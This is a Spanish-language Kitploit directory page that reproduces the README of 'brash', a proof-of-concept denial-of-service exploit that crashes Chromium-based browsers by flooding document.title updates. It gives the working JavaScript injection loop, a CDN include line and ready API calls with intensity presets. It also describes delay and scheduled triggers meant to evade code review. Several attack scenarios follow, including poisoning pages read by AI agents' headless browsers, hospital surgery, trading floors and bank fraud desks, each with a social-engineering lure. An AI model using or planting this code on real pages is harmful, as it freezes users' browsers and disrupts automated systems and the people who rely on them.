Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
brash — Ataque DoS al navegador Chromium mediante la explotación de document.title | Kitploit
Herramientas/GitHubGitHub/jofpin/brash
Frameworks de ExploitsAnálisis de VulnerabilidadesExplotación de Aplicaciones WebPruebas de Penetración
GitHubjofpin/brash

brash

Ataque DoS al navegador Chromium mediante la explotación de document.title

Ver Repositorio
1806hace 9 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

Brash

Brash por Jose Pino

Ataque DoS al Navegador Chromium mediante la explotación de document.title

Brash es una vulnerabilidad crítica en Blink, el motor de renderizado que impulsa los navegadores basados en Chromium de Google. Permite que cualquier navegador Chromium colapse en 15-60 segundos al explotar una falla arquitectónica en la forma en que se gestionan ciertas operaciones del DOM.

El vector de ataque se origina en la ausencia total de limitación de frecuencia (rate limiting) en las actualizaciones de la API document.title. Esto permite inyectar millones de mutaciones del DOM por segundo, y durante este intento de inyección satura el hilo principal, interrumpiendo el bucle de eventos y provocando el colapso de la interfaz. El impacto es significativo: consume altos recursos de CPU, degrada el rendimiento general del sistema y puede detener o ralentizar otros procesos que se ejecutan simultáneamente. Al afectar a los navegadores Chromium en entornos de escritorio, Android y embebidos, esta vulnerabilidad expone a más de 3 mil millones de personas en internet a una denegación de servicio a nivel de sistema.

ESTADO: Operativo
VERSIONES AFECTADAS: Chromium ≤ 143.0.7483.0 (probadas: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)

[!NOTE] El exploit está actualmente operativo. Una vez que la vulnerabilidad sea parcheada, este código dejará de funcionar. Aun así, descubrir esta falla arquitectónica y completar todo el proceso de investigación, documentación y diseño para compartir algo impactante con el mundo ha sido un viaje increíblemente gratificante.

Pruebas

Se probaron 11 navegadores principales en macOS, Windows y Linux para validar el impacto de la vulnerabilidad.

Vulnerables (Chromium/Blink)

Todos los navegadores basados en Chromium son vulnerables porque la falla existe en el núcleo del motor de renderizado Blink:

  • Chrome — colapsa en 15-30 segundos
  • Edge — colapsa en 15-25 segundos
  • Vivaldi — colapsa en 15-30 segundos
  • Arc Browser — colapsa en 15-30 segundos
  • Dia Browser — colapsa en 15-30 segundos
  • Opera — colapsa en ~60 segundos
  • Perplexity Comet — colapsa en 15-35 segundos
  • ChatGPT Atlas — colapsa en 15-60 segundos
  • Brave — colapsa en 30-125 segundos

No vulnerables (usan otros motores)

  • Firefox (motor Gecko) — inmune al ataque
  • Safari (motor WebKit) — inmune al ataque
  • Navegadores iOS (todos usan WebKit) — inmunes al ataque debido a la política obligatoria de Apple que exige que todos los navegadores de iOS usen WebKit como motor de renderizado, lo que hace imposibles los navegadores basados en Chromium en iOS

Cómo Funciona

Brash explota una falla arquitectónica fundamental en el motor de renderizado Blink: la ausencia de limitación (throttling) en las actualizaciones de document.title. El ataque opera en tres fases críticas:

1. Generación de Hash (Preparación)

Genera 100 cadenas hexadecimales únicas de 512 caracteres y las almacena en memoria antes de iniciar el ataque.

¿Por qué precargarlas en lugar de generarlas en tiempo real?

Porque generar nuevas cadenas constantemente consume tiempo de CPU en operaciones matemáticas. Ese tiempo es crítico: cada milisegundo dedicado a generar cadenas es tiempo NO utilizado para bombardear el navegador con actualizaciones de document.title.

Al tener 100 cadenas ya cargadas en memoria:

  • Ataque más rápido: Sin pausas para generar cadenas
  • CPU enfocada: 100% de los recursos dedicados a saturar el navegador
  • Menos pausas del sistema: Evita que el recolector de basura se active constantemente
  • Evita la detección: Las 100 cadenas diferentes evitan que el navegador almacene en caché u optimice las actualizaciones

Como resultado, logramos la máxima velocidad de inyección con el máximo consumo de memoria por actualización.

root@kitploit:~
// Generates high-entropy unique IDs
gid: function() {
    let id = "";
    for (let i = 0x0; i < 0x200; i++) {
        id += ((Math.random() * 0x10) | 0x0).toString(0x10);
    }
    return id;
}

2. Inyección por Ráfagas (Ataque)

Ejecuta ráfagas configurables de actualizaciones de título. Con la configuración predeterminada (burst: 8000, interval: 1ms), intenta inyectar aproximadamente 24 millones de actualizaciones por segundo, y es durante este intento cuando comienza el colapso del navegador.

root@kitploit:~
// Triple-update pattern: maximizes rendering pipeline thrashing
inject: function() {
    const t = this.titles[Math.random() * this.titles.length | 0x0];
    for (let i = 0x0; i < 0x3; i++) {
        document.title = t + i;  // Each burst performs 3 sequential updates
    }
    this.counter += 0x3;
}

3. Saturación del Hilo de UI (Colapso)

Las actualizaciones continuas saturan el hilo principal del navegador, impidiendo el procesamiento de otros eventos:

Cronología del colapso:

  • 0-5s: Saturación inicial del hilo de UI, consumo extremo de CPU
  • 5-10s: Pestaña completamente congelada, imposible de cerrar
  • 10-15s: Colapso del navegador o diálogo de "Página no responde"
  • 15-60s: Se requiere terminación forzada (navegadores basados en Chromium)

¿Por qué funciona?

Blink procesa cada cambio de document.title de forma síncrona en el hilo principal sin limitación de frecuencia. Esto crea un cuello de botella que:

  • Bloquea el bucle de eventos
  • Impide el procesamiento de la entrada del usuario
  • Satura la memoria con cadenas largas
  • Interrumpe el compositor y la canalización de renderizado
  • Provoca thrashing del proceso del navegador

Demo y PoC

Para comprender completamente el impacto de Brash, puedes experimentar el exploit en diferentes contextos, desde una demostración en vivo controlada hasta tu propia implementación. Cada opción está diseñada para diferentes niveles de interacción y comprensión técnica.

1. Demostración en Vivo

La forma más rápida de ver Brash en acción. Visita https://brash.run

Para ver el exploit sin interfaz gráfica, visita https://brash.run/hidden-live-demo.html. Esta versión ejecuta la inyección de forma invisible, simulando un ataque real.

2. Demostración Local

Si prefieres ejecutar la demo en tu propio entorno, el directorio exploit-demo/ incluido en el repositorio te permite:

  • Controles para ajustar la intensidad del ataque en tiempo real
  • Contador visual de actualizaciones por segundo
  • Tres modos predefinidos: moderado, agresivo y extremo
  • Observación del colapso progresivo del navegador

Simplemente abre exploit-demo/index.html en cualquier navegador Chromium y configura los valores burst e interval antes de comenzar.

  • burstSize: Cambios de título por intervalo (más alto = más agresivo)
  • interval: Milisegundos entre ráfagas (más bajo = más agresivo)

3. Implementa Tu Propio PoC

Para integrar Brash en tus propias pruebas de seguridad o investigaciones, incluye el script y configura el ataque:

Incluye el script:

root@kitploit:~
<!-- Local -->
<script src="brash.js"></script>

<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>

Uso de la API:

root@kitploit:~
// 1. Immediate attack
Brash.run({
    burstSize: 8000,
    interval: 1
});

// 2. Delay in seconds (default)
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: 30  // 30 seconds
});

// 3. Delay with strings
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: "30s"  // or "5000ms" or "3m"
});

// 4. Scheduled attack
Brash.run({
    burstSize: 8000,
    interval: 1,
    scheduled: "2025-10-18T09:30:00"
});

Configuraciones de intensidad:

root@kitploit:~
// Moderate: controlled observation
// Effect: Browser responds slowly and allows observing gradual degradation
Brash.run({ 
    burstSize: 200,
    interval: 1000 // ~600 updates/sec
});

// Aggressive: rapid saturation
// Effect: Tabs freeze in 10-20 seconds
Brash.run({ 
    burstSize: 2000, 
    interval: 100 // ~60,000 updates/sec
});

// Extreme: instant collapse
// Effect: Immediate freeze, total crash in 15-30 seconds
Brash.run({ 
    burstSize: 8000,
    interval: 1 // Attempts ~24M updates/sec (browser collapses during the attempt)
});

Nota: Cada ráfaga ejecuta 3 actualizaciones secuenciales de document.title. Por ejemplo, burstSize: 400 = 1,200 actualizaciones reales por intervalo.

Escenarios de Ataque

Brash puede ser utilizado como arma en múltiples contextos críticos con consecuencias que van desde pérdidas económicas hasta riesgo para la vida humana.

Ataques con Retardo Temporal: Sincronización Estratégica

Una característica crítica que amplifica el peligro de Brash es su capacidad de ser programado para ejecutarse en momentos específicos. Un atacante puede inyectar el código con un disparador temporal, permaneciendo inactivo hasta un momento exacto predeterminado.

Implementación técnica:

root@kitploit:~
// Delay in seconds (default)
Brash.run({ burstSize: 8000, interval: 1, delay: 30 });

// Delay with strings (ms, s, m)
Brash.run({ burstSize: 8000, interval: 1, delay: "30s" });
Brash.run({ burstSize: 8000, interval: 1, delay: "5000ms" });

// Scheduled: executes at exact moment
Brash.run({ burstSize: 8000, interval: 1, scheduled: "2025-10-18T09:30:00" });

Parámetros:

  • burstSize: Actualizaciones por ciclo
  • interval: Milisegundos entre ciclos
  • delay: Número (segundos) o cadena ("30s", "5000ms", "3m")
  • scheduled: Cadena ISO u objeto Date

¿Por qué el parámetro delay es especialmente letal?

  1. No requiere saber cuándo abrirán el enlace: Simplemente espera X segundos desde que la víctima abre la página.

  2. Tiempo para establecer confianza: Durante los minutos de espera, la víctima interactúa con contenido aparentemente legítimo (formularios, documentos, videos).

  3. Evade la inspección inicial: Si alguien revisa el código rápidamente, parece inactivo. El ataque no se ejecuta hasta más tarde.

  4. Sincronización psicológica perfecta: Espera hasta que la víctima está profundamente involucrada en la tarea (mitad de un examen, mitad de una reunión, durante un procedimiento crítico).

Escenario típico con delay:

root@kitploit:~
00:00 - Victim opens link "Q4 Documents.pdf"
00:30 - Victim reviews documents, appears legitimate
02:00 - Victim shares screen in meeting with 50 people
03:00 - ATTACK EXECUTES - all browsers collapse

¿Por qué el parámetro scheduled también es devastador?

  1. Sincronización quirúrgica: El atacante elige el momento exacto de máximo impacto (apertura del mercado, hora pico de operaciones).

  2. Ataques coordinados globales: Múltiples objetivos pueden ser alcanzados simultáneamente en el mismo segundo.

  3. Evade la detección previa: El código malicioso puede estar presente días o semanas antes sin ejecutarse, superando las revisiones de seguridad.

  4. Imposible de detener: Cuando el ataque se ejecuta, ya es demasiado tarde para prevenirlo.

Ejemplos de sincronización estratégica:

  • 09:30 AM EST — Apertura de Wall Street (máxima volatilidad de negociación)
  • 03:00 AM — Cambio de turno en hospitales (mínimo personal, máxima vulnerabilidad)
  • 12:00 PM — Hora pico de tráfico aéreo (número máximo de vuelos simultáneos)
  • Black Friday 00:00 — Inicio de ventas en línea (máximo tráfico de comercio electrónico)
  • Durante eventos en vivo — Debates presidenciales, Super Bowl, eventos deportivos masivos

Esta capacidad de sincronización cinética transforma Brash de una herramienta de disrupción en un arma de precisión temporal, donde el atacante controla no solo el "qué" y el "dónde", sino también el "cuándo" con precisión de milisegundos.


Envenenamiento de Agentes de IA: Sistemas Automatizados

Escenario: Los sistemas empresariales que dependen de agentes de IA para raspado web, análisis de mercado, monitoreo de competidores o automatización de soporte al cliente utilizan navegadores headless (Chromium/Puppeteer) para consultar miles de sitios web diariamente. Un atacante inyecta Brash en sitios populares que estos agentes consultan.

Durante operaciones automatizadas críticas:

  • Un agente de IA consulta un sitio de noticias financieras comprometido para análisis de mercado
  • Brash se ejecuta silenciosamente en el navegador headless del agente
  • El proceso del navegador colapsa, deteniendo toda la canalización de análisis
  • Los sistemas posteriores que esperan datos del agente entran en tiempo de espera (timeout)
  • Las decisiones automatizadas de negociación/precios se bloquean
  • El sistema de monitoreo detecta fallas masivas en múltiples agentes simultáneamente
  • Se requiere intervención manual para reiniciar toda la infraestructura de agentes

Vectores de ataque amplificados:

  • Asistentes de investigación con IA: Agentes que buscan y procesan información web para empresas
  • Bots de monitoreo de precios: Sistemas de comercio electrónico que rastrean precios de la competencia
  • Herramientas de análisis SEO: Servicios que rastrean millones de páginas para análisis
  • Soporte al cliente impulsado por IA: Chatbots que consultan documentación web en tiempo real
  • Escaneo automatizado de cumplimiento: Sistemas regulatorios que monitorean sitios web

Impacto real: Parálisis de operaciones automatizadas críticas, pérdidas económicas por decisiones no tomadas, degradación masiva de servicios dependientes de IA, costos de recuperación de infraestructura, exposición de la dependencia crítica de los agentes automatizados.

Interrupción de Procedimientos Quirúrgicos: Riesgo Vital

Escenario: Un cirujano cardiovascular está realizando una operación de bypass coronario asistido por un sistema de navegación quirúrgica basado en web (cada vez más común en cirugías mínimamente invasivas). El sistema proporciona imágenes en tiempo real, métricas vitales del paciente y guía para instrumentos robóticos.

Durante la fase más crítica de la operación, aparece una notificación del navegador: "ALERTA: Actualización crítica del sistema quirúrgico - Aplícala ahora o la operación podría fallar."

Al hacer clic en pánico:

  • El navegador colapsa instantáneamente junto con el sistema de navegación quirúrgica
  • El cirujano pierde la visualización de las imágenes guía durante 3-5 minutos
  • Los signos vitales en tiempo real desaparecen de las pantallas
  • El equipo médico debe improvisar mientras reinicia el sistema
  • El paciente está en riesgo crítico durante la ventana de colapso

Impacto real: Riesgo directo de muerte del paciente, posibilidad de daño permanente, trauma psicológico para el equipo médico, demandas millonarias por negligencia tecnológica.

Caída Relámpago de la Bolsa de Valores

Escenario: Durante la apertura del mercado de Wall Street, un actor malicioso inyecta Brash en múltiples canales simultáneamente: la interfaz web de Bloomberg Terminal, el chat de operadores institucionales y foros especializados. El enlace promete "Filtración: Transcripción de la reunión de emergencia de la Fed - Recorte de tasas confirmado."

En los primeros 30 segundos de negociación (máxima liquidez):

  • Más de 200 operadores institucionales hacen clic simultáneamente
  • Sus terminales web colapsan justo cuando realizan órdenes de millones de dólares
  • Los algoritmos de negociación automatizada detectan la caída repentina de actividad como un "crac"
  • Se desencadenan ventas masivas automáticas
  • El mercado cae 5-7% en 90 segundos antes de los disyuntores (circuit breakers)
  • Millones de inversores minoristas pierden sus ahorros

Impacto real: Pérdidas de billones de dólares en capitalización de mercado, pánico financiero global, investigaciones de la SEC, posible crisis de confianza en los mercados.

Sistema Bancario: Prevención de Fraude en Tiempo Real

Escenario: Los analistas de fraude de un banco procesan alertas de transacciones sospechosas en tiempo real a través de un panel web. Durante el Black Friday (pico de transacciones), reciben Brash por correo electrónico corporativo: "Nuevo patrón de fraude detectado - se requiere análisis urgente."

En el momento de mayor volumen transaccional:

  • Más de 20 analistas abren el enlace simultáneamente
  • Los paneles de detección de fraude colapsan
  • De 15 a 20 minutos de transacciones quedan sin revisar
  • Los atacantes explotan la ventana para procesar miles de transacciones robadas
  • Entre 2 y 5 millones de dólares en fraude pasan desapercibidos
  • Los sistemas automatizados están configurados para permitir transacciones si los analistas no responden

Impacto real: Millones de dólares en pérdidas directas, miles de clientes con cargos fraudulentos, daño reputacional masivo, multas regulatorias por fallas en los sistemas de prevención.


Estos escenarios no son teóricos. La simplicidad de Brash lo convierte en una amenaza real para cualquier operación que dependa de navegadores web, lo que en 2025 significa prácticamente todo.

Comentarios Finales

La creación de Brash es un esfuerzo por demostrar lo que sucede cuando faltan protecciones básicas en las tecnologías web que usamos a diario. La vulnerabilidad no reside en código complejo ni en técnicas avanzadas, sino en la falta fundamental de limitación de frecuencia en una API que debería estar limitada por diseño.

El impacto de Brash en más de 3 mil millones de usuarios de navegadores Chromium demuestra que las fallas arquitectónicas en componentes centrales como Blink tienen consecuencias masivas y globales. Esto no es un error aislado: es una falla de diseño que afecta a todo el ecosistema Chromium.

A menudo, las cosas más peligrosas se esconden en el lugar menos esperado, el más ignorado. - Jose Pino

Descargo de Responsabilidad

Este PoC está destinado únicamente a fines educativos y de investigación en seguridad para ayudar a hacer de internet un lugar más seguro. Su ejecución debe realizarse exclusivamente en entornos controlados y no debe utilizarse en sistemas de producción, sitios web públicos ni dispositivos que contengan datos importantes.

El uso indebido de este exploit puede provocar bloqueos del navegador, pérdida de datos e inestabilidad del sistema. El autor no es responsable de ningún daño, pérdida de datos o consecuencias legales derivadas del uso o mal uso de este PoC. Al usar Brash, reconoces que comprendes estos riesgos y aceptas utilizarlo únicamente para investigaciones de seguridad legítimas en entornos aislados.

Se espera que los usuarios cumplan con todas las leyes y regulaciones aplicables. El uso no autorizado de este exploit contra sistemas que no posees o para los cuales no tienes permiso explícito para probar es ilegal y poco ético.

Licencia

El contenido de este proyecto en sí está licenciado bajo la licencia Creative Commons Attribution 3.0, y el código fuente subyacente utilizado para formatear y mostrar ese contenido está licenciado bajo la licencia MIT.

Copyright (c) 2025 por Jose Pino

Descargar herramienta